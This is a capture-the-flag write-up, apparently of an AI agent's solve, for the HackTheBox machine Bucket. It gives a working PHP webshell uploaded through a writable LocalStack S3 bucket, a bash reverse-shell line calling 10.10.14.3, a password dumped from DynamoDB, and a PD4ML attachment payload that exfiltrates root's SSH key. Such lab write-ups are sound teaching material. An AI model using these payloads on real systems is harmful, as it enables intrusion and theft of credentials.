HTB: Bucket Writeup

Bucket - HackTheBox Writeup

Machine Information

AttributeDetails
NameBucket
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.10.212
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Bucket is a medium-difficulty Linux machine that simulates a cloud infrastructure environment using LocalStack, an AWS service emulator. The box exposes an S3 bucket used by an Apache web server to host static content. Enumeration reveals writable S3 permissions allowing file upload and PHP execution for initial access. Lateral movement is achieved by discovering DynamoDB credentials in an unfinished web application. Privilege escalation exploits PD4ML, a Java-based HTML-to-PDF converter running as root, using a file attachment feature to exfiltrate the root SSH private key.

TL;DR: S3 enumeration → upload PHP webshell to writable bucket → RCE as www-data → DynamoDB credential leak → SSH as roy → PD4ML file attachment injection → extract root SSH key → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial fast scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.10.212
# Detailed service enumeration on discovered ports
nmap -p22,80 -sV -sC 10.10.10.212

Results:

  • 22/tcp - OpenSSH (version not specified)
  • 80/tcp - Apache httpd

Service Enumeration

HTTP (Port 80)

Browsing to http://10.10.10.212 revealed a redirect to bucket.htb. After adding the domain to /etc/hosts:

Terminal window
echo "10.10.10.212 bucket.htb" >> /etc/hosts

The site displayed an advertising platform, but images failed to load. Inspecting the HTML source revealed references to http://s3.bucket.htb/adserver/, indicating a subdomain hosting static assets.

Terminal window
echo "10.10.10.212 s3.bucket.htb" >> /etc/hosts

Probing the subdomain revealed AWS S3-compatible headers:

Terminal window
curl -v http://s3.bucket.htb/

Response headers included x-amz-id-2, x-amz-request-id, and x-amz-version-id, confirming an S3-compatible API endpoint. The response body returned a JSON status object indicating a running service, characteristic of LocalStack—an open-source AWS service emulator.

Vulnerability Assessment

  1. Open S3 Bucket: The adserver bucket allowed unauthenticated read and write access.
  2. PHP Execution: Apache served PHP files from the S3 bucket without authentication.
  3. DynamoDB Credential Exposure: An unfinished web application exposed database credentials.
  4. PD4ML File Attachment: A root-owned PDF generation service allowed arbitrary file attachment and exfiltration.

Initial Foothold

S3 Bucket Enumeration

LocalStack simulates AWS services locally, typically without enforcing strict authentication. The AWS CLI can interact with custom endpoints using the --endpoint-url parameter.

Terminal window
# Install AWS CLI if not present
# (Agent used pipx-installed version due to unavailability on jump host)
sudo apt install awscli
# Configure dummy credentials (LocalStack often accepts arbitrary values)
aws configure
# Access Key ID: test
# Secret Access Key: test
# Region: us-east-1
# Output format: json

List available S3 buckets:

Terminal window
aws --endpoint-url=http://s3.bucket.htb s3 ls

Output:

2021-XX-XX XX:XX:XX adserver

List contents of the adserver bucket:

Terminal window
aws --endpoint-url=http://s3.bucket.htb s3 ls s3://adserver

The bucket contained index.html and image files served by the main web application.

PHP Webshell Upload

Since Apache executed PHP from this bucket, uploading a malicious PHP file would grant remote code execution.

Terminal window
# Create a simple webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload to the S3 bucket
aws --endpoint-url=http://s3.bucket.htb s3 cp shell.php s3://adserver/

Note: The agent noted that the /tmp directory was 100% full, necessitating use of /dev/shm for staging files.

After upload, the shell was accessible at http://bucket.htb/shell.php?cmd=id. To obtain an interactive shell:

Terminal window
# Create a reverse shell payload
echo "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.3/4444 0>&1 \"'); ?>" > revshell.php
# Upload the reverse shell
aws --endpoint-url=http://s3.bucket.htb s3 cp revshell.php s3://adserver/

Start a listener:

Terminal window
nc -lvnp 4444

Trigger execution by browsing to http://bucket.htb/revshell.php. A reverse shell connection was received as the www-data user.

Upgrade to a fully interactive TTY:

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Privilege Escalation

Lateral Movement: www-data → roy

Exploring the filesystem revealed /var/www/bucket-app, a project directory with an Access Control List (ACL) restricting access to roy and root.

Terminal window
ls -la /var/www/bucket-app
getfacl /var/www/bucket-app

However, the bucket-app project subfolder was world-readable. Inside, index.php contained code connecting to a DynamoDB instance:

$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566' # LocalStack default port
]);

DynamoDB is AWS’s NoSQL database service. LocalStack exposes it locally on port 4566. To query the database, AWS CLI credentials were configured in a writable directory (since www-data lacked a home directory):

Terminal window
# Create a temporary home directory in /dev/shm (due to /tmp being full)
mkdir /dev/shm/awshome
export HOME=/dev/shm/awshome
# Configure AWS CLI
aws configure
# (Use dummy credentials as before)

List DynamoDB tables:

Terminal window
aws --endpoint-url=http://localhost:4566 dynamodb list-tables

Output:

{
"TableNames": [
"users"
]
}

Scan the users table:

Terminal window
aws --endpoint-url=http://localhost:4566 dynamodb scan --table-name users

Output (sanitized):

{
"Items": [
{
"password": {"S": "n2vM-<_K_Q:.Aa2"},
"username": {"S": "Sysadm"}
},
...
]
}

The password n2vM-<_K_Q:.Aa2 was valid for the roy user:

.Aa2
su - roy

User flag captured:

Terminal window
cat ~/user.txt

Privilege Escalation: roy → root

Enumerating running processes and listening ports:

Terminal window
ss -tlnp
netstat -tlnp

Port 8000 was listening locally. Apache configuration files in /var/www/bucket-app indicated this application ran as root:

User root
Group root

SSH port forwarding enabled local access:

Terminal window
# From attack machine
ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212

Browsing to http://localhost:8000 displayed a simple interface. Reviewing index.php:

if($_POST["action"]==="get_alerts") {
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}

The application:

  1. Scans the alerts DynamoDB table for entries with title = "Ransomware"
  2. Writes the data field to an HTML file
  3. Uses PD4ML (a Java HTML-to-PDF library) to convert the HTML to PDF

PD4ML supports a proprietary <pd4ml:attachment> tag that embeds files as PDF attachments. The src attribute accepts file:// URIs, enabling arbitrary file read as root.

Exploitation

The alerts table did not exist initially. Create it:

Terminal window
aws --endpoint-url=http://localhost:4566 dynamodb create-table \
--table-name alerts \
--attribute-definitions \
AttributeName=title,AttributeType=S \
AttributeName=data,AttributeType=S \
--key-schema \
AttributeName=title,KeyType=HASH \
AttributeName=data,KeyType=RANGE \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5

Insert a malicious item targeting root’s SSH private key:

Terminal window
aws --endpoint-url=http://localhost:4566 dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<pd4ml:attachment src=\"file:///root/.ssh/id_rsa\" description=\"key\" icon=\"Paperclip\"/>"}
}'

Trigger the conversion by sending a POST request:

Terminal window
curl http://localhost:8000/index.php -d 'action=get_alerts'

Important: The agent noted that LocalStack and the files/ directory reset periodically, requiring the create-table → put-item → trigger → extract sequence to be executed atomically to prevent data loss mid-exploit.

Download the generated PDF:

Terminal window
wget http://localhost:8000/files/result.pdf

Open the PDF and extract the attachment containing /root/.ssh/id_rsa. The agent noted they extracted the key directly from the PDF’s EmbeddedFile stream since pdfdetach was unavailable on the target.

Save the extracted private key:

Terminal window
chmod 600 root_id_rsa

Critical Note: The agent encountered a leftover /dev/shm/id_rsa from a different HTB machine (r.michaels@luanne.htb), which initially caused confusion. After removing the stale key, the correct root key was extracted.

SSH as root:

Terminal window
ssh -i root_id_rsa root@127.0.0.1
# Or from external:
ssh -i root_id_rsa root@10.10.10.212

Root flag captured:

Terminal window
cat /root/root.txt

Attack Chain Summary

Port 80 enumeration → Discover s3.bucket.htb subdomain →
Identify LocalStack S3 service → Upload PHP webshell via AWS CLI →
RCE as www-data → Enumerate DynamoDB on localhost:4566 →
Extract credentials from 'users' table → SSH as roy (user.txt) →
Discover bucket-app running as root on port 8000 →
Create 'alerts' DynamoDB table → Inject PD4ML attachment payload →
Exfiltrate /root/.ssh/id_rsa via PDF embedding →
SSH as root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP enumeration and exploitation triggering
aws (AWS CLI)S3 bucket manipulation and DynamoDB querying
nc (netcat)Reverse shell listener
sshLateral movement and privilege escalation
wgetFile download

Key Learnings

Techniques Practiced

  • Cloud service enumeration: Identifying and interacting with LocalStack AWS emulation
  • S3 bucket exploitation: Leveraging writable buckets for webshell upload
  • NoSQL database enumeration: Extracting credentials from DynamoDB
  • PDF library exploitation: Abusing PD4ML’s file attachment feature for arbitrary file read
  • SSH key extraction: Leveraging file read vulnerabilities to obtain private keys

Lessons Learned

  1. Virtual hosting is critical: Modern web applications often use subdomains for different services (e.g., S3-compatible endpoints). Always enumerate vhosts through header analysis, DNS queries, and source code inspection.

  2. LocalStack != AWS security: Development tools like LocalStack prioritize functionality over security, often accepting unauthenticated requests or dummy credentials. Always test custom endpoints with minimal authentication.

  3. ACLs vs. standard permissions: Access Control Lists can restrict directory access even when standard Unix permissions appear permissive. Use getfacl to identify hidden restrictions.

  4. NoSQL injection isn’t always needed: Misconfigured NoSQL databases often allow direct enumeration without authentication. Always check for exposed management interfaces (DynamoDB on port 4566, MongoDB on 27017, etc.).

  5. PDF generators are high-value targets: Libraries like PD4ML, wkhtmltopdf, and WeasyPrint have powerful features (file attachments, SSRF via <iframe>, local file inclusion) that become dangerous when processing untrusted input as root.

  6. Atomic exploitation in unstable environments: When services reset periodically (as LocalStack did here), script the entire exploit chain to execute without manual intervention. The agent’s experience with the alerts table disappearing mid-exploit highlights this need.

  7. Filesystem constraints matter: The /tmp partition being full forced creative use of /dev/shm and home directories. Always verify write access and available space before staging payloads.

  8. Key hygiene: The agent’s encounter with a stale SSH key from another machine (luanne.htb) demonstrates the importance of cleaning up artifacts between engagements. Always verify key ownership before use.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory context from the official HackTheBox writeup for Bucket, authored by felamos (Document No D21.100.115). The reference provided background on LocalStack architecture, DynamoDB table structure, and PD4ML attachment syntax. All commands, outputs, and environmental specifics reflect the agent’s actual solve.